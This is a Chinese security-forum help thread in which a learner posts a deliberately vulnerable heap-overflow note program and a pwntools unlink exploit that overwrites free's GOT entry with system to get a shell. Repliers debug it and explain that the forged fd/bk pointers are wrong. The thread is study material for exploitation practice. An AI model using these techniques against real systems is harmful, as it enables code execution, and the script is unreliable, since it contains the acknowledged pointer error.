看雪论坛
发新帖

[求助]绕过unlink限制,GOT表可写但是无法实现GOT覆盖

uestcdzy 2017-8-24 19:42 1883

最近在学习unlink,以及绕过的姿势,成功绕过了限制,触发了unlink,但是无法实现GOT覆盖,确定GOT表是可写的,求解惑。

实验环境ubuntu12.04 32位系统,漏洞代码unlink.c如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdint.h>
#define MAX_INDEX 9
//NOTE_SIZE big enough don't use fastbins
#define NOTE_SIZE 0x80
char **notes;
void handle_cmd(int cmd, int note_index, const char * note,int note_size)
{
	switch (cmd)
	{
		case 0: //malloc
			notes[note_index]=(char *)malloc(NOTE_SIZE);
			memset(notes[note_index], 0, NOTE_SIZE);
			if (NULL != note && note_size > 0) //initial note
			{
				memcpy(notes[note_index], note, note_size);
			}
			break;
		case 1: //free
			free(notes[note_index])
			break;
		case 2: //edit note
			if (NULL != note && note_size>0)
			{
				memcpy(notes[note_index], note, note_size);
			}
			break;
	}
}
void read_input(char * buf, int read_len, int buf_size)
{
	if (NULL == buf || read_len <= 0)
		return;
	memset(buf, 0, buf_size);
	int i = 0;
	char temp_char;
	while(1)
	{
		temp_char = getchar();
		if (i<read_len)
			buf[i] = temp_char;
		if (temp_char == 0xA)
			break;
		i++;
	}
}
uint32_t read_input_uint(char *buf, int read_len, int buf_size)
{
	read_input(buf, read_len, buf_size);
	return strtoul(buf, 0, 10);
}
int main()
{
	notes =(char **) malloc((MAX_INDEX+1)*4);
	char note[NOTE_SIZE*2];
	memset(note, 0, sizeof(note));
	while(1)
	{
		int cmd = 0, note_index = 0, note_len = 0;
		char input_buffer[0x1000];
		char usage[128]="usage: 0:malloc 1:free 2:edit 3:exit\ninput cmd and note index (eg:0,1 -> cmd=0,note_index=1):\n";
		write(STDOUT_FILENO, usage, strlen(usage));
		//read command
		read_input(input_buffer, sizeof(input_buffer), sizeof(input_buffer));
		sscanf(input_buffer, "%d,%d", &cmd, &note_index);
		if (cmd==3) //exit
			break;
		if (0 == cmd || 2 == cmd) //get note content inputed
		{
			//read note len
			write(STDOUT_FILENO, "input note len:\n", 16);
			note_len = read_input_uint(input_buffer, sizeof(input_buffer), sizeof(input_buffer));
			//read note content
			write(STDOUT_FILENO, "input note:\n", 12);
			read_input(note, note_len, sizeof(note));
		}
		handle_cmd(cmd, note_index, note, note_len);
	}
	return 0;
}

上述代码的作用是:

该代码主要功能是建立一个note,并保存用户的输入到该note,每一个note的大小为0x80,总共可以新建10个note,每个note可以通过notes这个全局变量来索引。比如新建一个note,索引为0,note0的内容为”1234“;然后把note0的内容重新改为”5678”;接着释放掉note0,;最后退出程序。其操作如下:

./unlink
usage: 0:malloc 1:free 2:edit 3:exit
input cmd and note index (eg:0,1 -> cmd=0,note_index=1):
0,0    //新建note 0
input note len:
4     //输入note 0的内容长度
input note:
1234  //输入note 0的内容
usage: 0:malloc 1:free 2:edit 3:exit
input cmd and note index (eg:0,1 -> cmd=0,note_index=1):
2,0   //修改note 0的内容
input note len:
4     //输入note 0的内容长度
input note:
5678  //输入note 0的内容
usage: 0:malloc 1:free 2:edit 3:exit
input cmd and note index (eg:0,1 -> cmd=0,note_index=1):
1,0   //释放note 0
usage: 0:malloc 1:free 2:edit 3:exit
input cmd and note index (eg:0,1 -> cmd=0,note_index=1):
3   //退出程序

漏洞利用过程分为6步:

1)新建note0和note1;

2)在note0中伪造fake note0(fake fd = notes_addr-12,fake bk=notes_addr-8),同时通过堆溢出改写note1的P标志位和pre_size,让系统以为note1前面是空闲的chunk;

3)free(note1),触发unlink,使得notes_addr=notes_addr-12;

4)将free函数在got表中的地址写入到notes[0]中;

5)计算得到system函数地址,将system函数地址写入到free函数的got表中,也就是GOT表覆写;

6)新建note2,写入/bin/sh,调用free函数,触发执行system(‘/bin/sh’)

借用两个图表示一下过程变化:

fake_free_note

触发unlink之后

notes

但是实际执行是,到第五步时,就是GOT表覆写时,无法执行,出错信息如下:

通过GDB调试出错信息,确定free函数在GOT表的地址,已经写入到notes[0]当中去,就是无法执行GOT覆盖(通过checksec发现GOT表是可写的,另外自己也通过-z norelro -z lazy 编译unlink,依旧无法实现GOT覆写)


unlink.c's binary see attach.

漏洞利用代码exp如下:

#!/usr/bin/env python
from pwn import *
__author__="daizy"
def change_note_content(cmd, note_index, note_len, note_content):
        p.recvuntil("\n")
        p.recvuntil("\n")
        cmd = str(cmd) + "," + str(note_index) + "\n"
        p.send(cmd)
        p.recvuntil("\n")  # input note len
        p.send(str(note_len) + "\n")
        p.recvuntil("\n")  # input note content
        p.send(note_content + "\n")
def free_note(note_index):
        p.recvuntil("\n")
        p.recvuntil("\n")
        cmd = "1," + str(note_index) + "\n"
        p.send(cmd)
if __name__ == "__main__":
		libc = ELF('libc.so')
		elf = ELF('unlink')
		
		p = process('./unlink')
		#p = remote('127.0.0.1', 15000)
		
		libc_system = libc.symbols['system']
		libc_free = libc.symbols['free']
		offset_sys_free = libc_system - libc_free
		print '\noffset_sys_free= ' + hex(offset_sys_free)
		
		got_free = elf.got['free']
		print '\ngot_free= ' + hex(got_free)
		#step 1 new malloc note0 and note1
		print "\nmalloc note0 and note1"
		change_note_content(0,0,4,"aaaa")
		change_note_content(0,1,4,"aaaa")
		#step2 fake fd,bk note0 and note1's presize,size
		print "\n fake data padding note0 and note1"
		notes_addr = int(raw_input("notes address:"), 16)
		# fake pre_size +fake size + fake_fd + fake_bk + "c"*0x70 + fake_presize + modify_pre_inuse_flag
		#waring:pre_size= content+pre_size + size+fd+bk
    		note0_content = "c"*4+p32(0x81) + p32(notes_addr - 12) + p32(notes_addr - 8) + "c" * 0x70 + p32(0x80) + p32(0x88)
   	 	change_note_content(2,0, 0x88, note0_content)
		#step3 free note1
		print "\n###free note1,cause unlink...###"
		free_note(1)
		#step4 write .got free address to notes[0]
		print "\n###step4 write .got free address to notes[0]###"
		note0_content = "c"*12+p32(got_free)
		change_note_content(2,0,0x10,note0_content)
		#now notes[0] point to got.free,we need now free address of runtime
		#setp5 by free address+offset,and cover got.free
		print "\nstep5 calculate system address and write to got.free"
		free_addr = int(raw_input("free address:"), 16)
		system_addr = free_addr + offset_sys_free
		print "\n system_address is " + p32(system_addr)
		change_note_content(2,0,0x4,p32(system_addr))
		
		#step6 free notes[2] cause system("/bin/sh")
		print '\nstep6 malloc notes[2],pading /bin/sh, and execute system(/bin/sh)'
		change_note_content(0,2,7,"/bin/sh")
		free_note(2)
		p.interactive()

有谁知道原因的,希望能够得到解惑,不胜感激,因为本人已经调试,困惑几周了,实在不知道什么原因了。。

上传的附件:
本主题帖已收到 0 次赞赏,累计¥0.00
最新回复 (13)
Loopher 2017-8-25 11:35
2
不懂,顶下,看有没有人回答
uestcdzy 2017-8-25 14:45
3
Loopher 不懂,顶下,看有没有人回答
多谢支持
1
冰怜泯灭 2017-8-25 21:06
4
notes  因为是第一次申请的    有非常大几率在一个分页的边界,  unlink后指向边界-8位置后再写入就gg了。
uestcdzy 2017-8-25 23:59
5
冰怜泯灭 notes 因为是第一次申请的 有非常大几率在一个分页的边界, unlink后指向边界-8位置后再写入就gg了。
你说的这种情况我考虑过哈,但是这种情况free函数GOT表的地址应该写不进去的,现在是free函数的GOT表写进去了,进行GOT覆写是出错了。。
返無歸一 2017-8-27 00:51
6
提供一下binary和exploit.py?
uestcdzy 2017-8-27 18:28
7
返無歸一 提供一下binary和exploit.py?
刚刚上传了unlink.c  编译后的binary哈,最后的python代码就是exp.py哈
返無歸一 2017-8-29 22:45
8
唔,因为你的code有indent问题所以才想说要不要直接附exp.py档这样,我研究看看
返無歸一 2017-8-29 23:47
9

我跑起来的结果跟你不一样......你的free@got位址好奇怪,我以为got地址不开PIE大多都是804XXXX之类的说

另外我gdb attach的结果是在输入free@got address前就abort了,原因是unlinkable失败,所以我也不知道为什麽你可以把notes[0]内容改成got@free= =


喔对了,我的系统是ubuntu 16.04


一般来说,unsafe unlink的用法应该满足:

指向heap的ptr

ptr已知(放在global之类)

能对该heap进行写入(!)


我看了下你的程式,好像是:

global notes malloc 10个ptr大小的空间来存放接下来指向的note的ptr

新增一个note就是malloc固定大小的空间,并且把该空间的ptr存在notes指向的heap空间里面

这样变成说:


bss:            heap:

notes------> notes[0] -----+

                   notes[1].....  |

                  省略......        |

                  *notes[0] <---+ (你实际可以写的笔记内容)

而unsafe unlink的要求是在notes[0]的地方可以做写入,所以按理来说应该unlink会失败




图中的804b000是notes[10]的header address(notes应该是存804b008)

804c038则是*notes[0]的header地址,804c0c0则是*notes[1]的地址

你写的fake chunk应该在*notes[0]里面,所以fake chunk header地址在804c40,用工具检查一下可不可以unlink:



看起来是失败的,原因是FD->bk != BK->fd



最後看一下notes[0]有没有被修成free@got地址:


看起来是没有的,虽然错误讯息不太一样,不过我觉得你的exploit有问题。有错请见谅

uestcdzy 2017-9-5 17:56
10
返無歸一 我跑起来的结果跟你不一样......你的free@got位址好奇怪,我以为got地址不开PIE大多都是804XXXX之类的说另外我gdb attach的结果 ...
你好,首先感谢你的解答哈.unlink的条件是满足的哈,FD->bk=BK->fd.  我构造的fake  fd=notes_addr-12,bk=notes_addr-8;FD->bk=(notes_addr-12)->bk=notes_addr,BK->fd=(notes_addr-8)->fd=notes_addr.P就是fake_free_note  ,也就是notes[0],*notes_addr=notes[0]。可以绕过unlink的检测的
返無歸一 2017-9-6 00:29
11
你上面输入的是notes的值还是notes的地址?如果你输入的是notes的值那就没错,但是那地址不是malloc出来的位址吗?你是在没有leak  的情况下怎么知道malloc分出来的地址是多少?还是你没开aslr?
uestcdzy 2017-9-7 14:03
12
我输入的是notes的地址哈,没有leak哈,开了aslr的,只是偷懒了一下,程序运行时通过gdb来获得notes的地址的。
返無歸一 2017-9-7 23:28
13
我算给你看:

通过unlink检查的要求是:
FD->bk  =  P  &&  BK->fd  =  P,其中P要是unlink  chunk的地址,也就是notes[0]
你现在的FD是&notes  -  12,BK是&notes  -  8
FD->bk  =  P
FD  ==    P  ->  fd  ==  *(&notes  )  -  12  ==  &notes[0]  -  12
FD->bk  ==  &notes[0]  -  12  +  12  =  &notes[0]  !=  notes[0] 

BK  ->  fd  =  P
BK  ==  P->bk  ==  *(&notes)  -  8  =  &notes[0]  -  8
BK->fd  ==  &notes[0]  -  8  +  8  ==  &notes[0]  !=  notes[0]

得证,你输入notes的地址的话unlink检查不会过

我知道你是看这篇教学:http://manyface.github.io/2016/05/19/AndroidHeapUnlinkExploitPractice/?spm=a313e.7916648.0.0.36f39d7eDZCDZY

人家填的地址是:p/x  *(0xb004),0xb004如果我没会错意的话应该是&notes,这样印出来的会是notes的值,也就是一地址指向malloc出来的空间,这样unlink是可以的,但是如果你malloc出来的第1块马上拿去用,notes[0]应该会指到heap  segment更前面的地址去,通常在开启aslr的情况下应该是不合法的空间会出错  (如同前面一位所说)

我是不知道你填的是&notes还是notes,如果你填的是&notes,那这地址按理来说根本就不会unlink成功,如同我前面证明的,再说要是&notes其实写死在exploit里面就好了,全局变量地址应该是不会变。如果是notes的值,则unlink会成功,但是后续我觉得很容易失败,如果你的notes是第一个chunk的话

另外我也不确定android和ubuntu  16.04环境上会不会差异很大,说不定人家可以在手机上面跑,我搬来ubuntu上就不能用,要学习还是找个跟自己环境比较搭的教程吧

那我就不再回这帖了,我相信我的理解应该没有错,有错的话之前解的题目都解的出来就是有鬼了XD我也不能去用你那确认,这样讨论下去各说各话没意义

你可以去做做看今年tokyowestern的simple_notes,相当典型的一个unlink题目,做完应该就知道unlink怎么做了
uestcdzy 2017-9-9 19:17
14
返無歸一 我算给你看: 通过unlink检查的要求是: FD->bk = P && BK->fd = P,其中P要是unlink chunk的地址,也就是notes[0] ...
恩,也感谢你的回答,我自己在计算一下,换个demo试看看。多谢。
返回



©2000-2017 看雪学院 | Based on Xiuno BBS | 微信公众号:ikanxue
Time: 0.014, SQL: 10 / 京ICP备10040895号-17